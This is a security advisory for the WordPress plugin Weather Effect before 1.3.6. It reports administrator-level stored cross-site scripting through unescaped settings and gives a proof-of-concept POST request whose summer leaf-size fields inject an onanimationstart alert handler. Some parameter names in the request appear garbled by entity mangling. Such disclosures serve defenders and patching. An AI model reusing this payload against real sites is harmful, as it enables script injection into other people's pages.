Weather Effect < 1.3.6 - Admin+ Stored Cross-Site Scripting

The plugin does not properly validate and escape some of its settings (like *_size_leaf, *_flakes_leaf, *_speed) which could lead to Stored Cross-Site Scripting issues

PoC

POST /wp-admin/admin.php?page=weather-effects-setting HTTP/1.1 Accept: text/html, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1991 Connection: close Cookie: [admin+] enable_weather_effect=1&weather;_occasion=summer_check&christmas;_types=snow_effect&christmas;_ball=ball3&christmas;_bell=bell3&christmas;_candy=candy3&christmas;_gift=gift3&christmas;_snowman=snowman3&christmas;_snow_flake=flack2&christmas;_min_size_leaf=20&christmas;_max_size_leaf=50&christmas;_flakes_leaf=5&christmas;_speed=5&master;_round=false&round;_type=true&min;_size_round=4&max;_size_round=20&master;_shadows=false&shadow;_type=true&flakes;_shadow=50&snow;_types=winter_snow&ice;_cube=true&min;_size_christmas=1&max;_size_christmas=10&flake;_christmas=5&min;_size_falling=3&max;_size_falling=30&snow;_falling_time=500&snow;_falling_color=FFFFFF&autumn;_leaf=autumn-leaf2&autumn;_min_size_leaf=20&autumn;_max_size_leaf=50&autumn;_flakes_leaf=5&autumn;_speed=5&spring;_leaf=spring-leaf1&spring;_min_size_leaf=20&spring;_max_size_leaf=30&spring;_flakes_leaf=5&spring;_speed=5&drink;=drink&summer;_drink=drink1&summer;_sun=sun1&summer;_min_size_leaf=%22%20style%3danimation-name%3arotation%20onanimationstart%3dalert(%2fXSS%2f)%2f%2f&summer;_max_size_leaf=alert(/XSS/)%7c%7c30&summer;_flakes_leaf=5&summer;_speed=5&rain;_umbrella=umbrella1&rain;_drops=drops1&rain;_cloud=cloud1&rain;_min_size_leaf=20&rain;_max_size_leaf=50&rain;_flakes_leaf=5&rain;_speed=5&halloween;_ghost=ghost1&halloween;_bats=bats1&halloween;_moon=moon1&halloween;_pumpkin=pumpkin1&halloween;_web=web1&halloween;_witch=witch1&halloween;_min_size_leaf=20&halloween;_max_size_leaf=50&halloween;_flakes_leaf=5&halloween;_speed=5&thanksgiving;_turkey=turkey1&thanksgiving;_min_size_leaf=20&thanksgiving;_max_size_leaf=50&thanksgiving;_flakes_leaf=5&thanksgiving;_speed=5&valentine;_rose=rose1&valentine;_balloon=valentine_balloon1&valentine;_heart=valentine_heart2&valentine;_min_size_leaf=20&valentine;_max_size_leaf=50&valentine;_flakes_leaf=5&valentine;_speed=5&newyear;_balloon=newyear_balloon2&new;_year_sticker=newyear_sticker1&newyear;_min_size_leaf=20&newyear;_max_size_leaf=50&newyear;_flakes_leaf=5&newyear;_speed=5&snow;_action=save_setting&snow;_action=save_setting&security;=d648bbf655